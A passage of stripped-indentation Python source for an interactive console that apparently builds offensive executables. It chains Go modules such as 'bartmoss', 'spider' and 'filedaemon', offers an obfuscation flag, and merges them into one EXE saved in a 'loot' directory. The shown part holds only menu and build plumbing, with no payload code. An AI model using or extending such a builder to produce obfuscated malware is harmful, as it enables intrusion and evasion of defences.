final_name = BUILD_OPTIONS['exe_name']
final_path = os.path.abspath(os.path.join(loot_dir, final_name))
output_lines.append(f"[*] Merging Go modules into final EXE: {final_name}")
obf_flag = []
if BUILD_OPTIONS.get('obfuscate'):
obf_flag = ['--obfuscate']
from loading import loading_state
with loading_state(message="Building, please wait...", print_ascii_art=print_ascii_art):
result = subprocess.run([sys.executable, 'compiler.py', '--merge'] + go_paths + [final_path] + obf_flag)
if result.returncode == 0:
output_lines.append(f"Final merged EXE: {final_path}")
else:
output_lines.append("Failed to create merged EXE.")
# Restore bartmoss.go if it was patched
if bartmoss_original:
restore_bartmoss_go(bartmoss_original)
# Restore spider.go if it was patched
if spider_original:
restore_spider_go(spider_original)
# Restore filedaemon.go if it was patched
if filedaemon_original:
restore_filedaemon_go(filedaemon_original)
MODULE_CHAIN.clear()
elif cmd == 'clear':
MODULE_CHAIN.clear()
output_lines.append("All selected modules cleared.")
elif cmd == 'delete':
if MODULE_CHAIN:
removed = MODULE_CHAIN.pop()
output_lines.append(f"Removed module: {removed}")
else:
output_lines.append("No modules to remove.")
elif cmd == 'show':
if len(parts) < 2:
output_lines.append("Usage: show <modules|options|global options>")
else:
subcmd = parts[1].lower()
if subcmd == 'modules':
output_lines.append("")
output_lines.append(f"{'Module':<25} | Description")
output_lines.append("-"*60)
for name, info in MODULES.items():
output_lines.append(f"{name:<25} | {info.get('desc', '')}")
elif subcmd == 'global' and len(parts) > 2 and parts[2].lower() == 'options':
from io import StringIO
buf = StringIO()
buf.write(f"{'Option':<15} | Value\n")
buf.write("-"*30 + "\n")
for k, v in BUILD_OPTIONS.items():
buf.write(f"{k:<15} | {v}\n")
output_lines.append(buf.getvalue())
elif subcmd == 'options':
# Show options for the last selected module
if MODULE_CHAIN:
mod = MODULE_CHAIN[-1]
opts = MODULE_OPTIONS.get(mod)
if not opts:
output_lines.append(f"No options for module: {mod}")
else:
buf = []
buf.append(f"{'Option':<15} | Value")
buf.append("-"*30)
for k, v in opts.items():
buf.append(f"{k:<15} | {v}")
output_lines.extend(buf)
else:
output_lines.append("No module selected. Use 'use <module>' to select one.")
else:
output_lines.append(f"Unknown show command: {subcmd}")
elif cmd == 'set':
if len(parts) < 3:
output_lines.append("Usage: set <option> <value>")
else:
opt = parts[1]
val = parts[2]
# Try to set module option if a module is selected
if MODULE_CHAIN:
mod = MODULE_CHAIN[-1]
if mod in MODULE_OPTIONS and opt in MODULE_OPTIONS[mod]:
MODULE_OPTIONS[mod][opt] = val
output_lines.append(f"Set {opt} to {val} for {mod}")
elif opt in BUILD_OPTIONS:
if opt == 'obfuscate':
BUILD_OPTIONS[opt] = val.lower() in ('1', 'true', 'yes', 'on')
else:
BUILD_OPTIONS[opt] = val
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt]}")
else:
output_lines.append(f"Unknown option: {opt}")
else:
# No module selected, set global option
if opt in BUILD_OPTIONS:
if opt == 'obfuscate':
BUILD_OPTIONS[opt] = val.lower() in ('1', 'true', 'yes', 'on')
else:
BUILD_OPTIONS[opt] = val
output_lines.append(f"Set {opt} to {BUILD_OPTIONS[opt]}")
else:
output_lines.append(f"Unknown option: {opt}")
elif cmd in ('exit', 'quit'):
print_ui()
print("Exiting...")
print()
break
else:
output_lines.append(f"Unknown command: {cmd}")
except (KeyboardInterrupt, EOFError):
print()
continue
if __name__ == "__main__":
shell()